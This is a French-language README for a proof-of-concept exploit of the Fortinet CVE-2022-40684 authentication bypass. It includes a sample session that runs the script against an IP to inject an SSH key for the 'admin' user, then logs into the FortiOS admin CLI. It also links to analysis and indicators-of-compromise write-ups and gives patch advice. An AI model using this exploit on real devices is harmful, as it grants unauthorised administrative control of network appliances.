puckiestyle/cve-2022-40684Exploit de preuve de concept pour le contournement d'authentification CVE-2022-40684 dans Fortinet FortiOS, FortiProxy et FortiSwitchManager, permettant l'injection de clés SSH pour des utilisateurs spécifiés
POC pour CVE-2022-40684 affectant les appliances Fortinet FortiOS, FortiProxy et FortiSwitchManager.
Une analyse technique de la cause racine de la vulnérabilité est disponible sur notre blog : https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684
Pour analyser les journaux Fortinet à la recherche d'indicateurs de compromission et savoir comment activer des journaux plus détaillés, consultez notre blog IOC : https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/
Ce POC exploite la vulnérabilité de contournement d'authentification pour définir une clé SSH pour l'utilisateur spécifié.
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.
Mettez à jour vers la dernière version ou atténuez en suivant les instructions du PSIRT Fortinet
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables ou tenus responsables d'une mauvaise utilisation du logiciel. Utilisez-le de manière responsable.